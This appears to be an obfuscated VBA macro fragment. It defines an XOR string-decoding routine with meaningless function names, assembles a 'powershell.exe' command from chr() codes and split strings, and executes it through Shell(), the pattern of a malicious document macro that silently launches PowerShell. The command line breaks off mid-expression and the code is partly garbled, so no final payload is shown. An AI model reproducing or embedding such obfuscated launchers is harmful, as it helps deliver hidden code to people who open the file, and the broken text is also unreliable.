Function uzxr(str As String) As Variant: Dim bytes() As Byte: bytes = str: uzxr = bytes: End Function
Function pyag(bytes() As Byte) As String: Dim str As String: str = bytes: pyag = str: End Function

Function v5ut6ikj(str As String) As String
    Const p_ As String = "grtreqzy"
    Dim sb_() As Byte, pb_() As Byte
    sb_ = uzxr(str)
    pb_ = uzxr(p_)

    Dim uL As Long
    uL = UBound(sb_)

    ReDim scb_(0 To uL) As Byte

    Dim idx As Long

    For idx = LBound(sb_) To uL:
        If Not sb_(idx) = 0 Then
            c = sb_(idx)
            For i = 0 To UBound(pb_):
                c = c Xor pb_(i)
            Next i
            scb_(idx) = c
        End If

    Next idx

    v5ut6ikj = pyag(scb_)
End Function


Dim ptuimlka As String
ptuimlka = "powershell.exe v5ut6ikj(chr(38) & "" & "M" & "" & chr(65) & "\" & "" & "$" & "" & chr(44) &$
Shell (ptuimlka)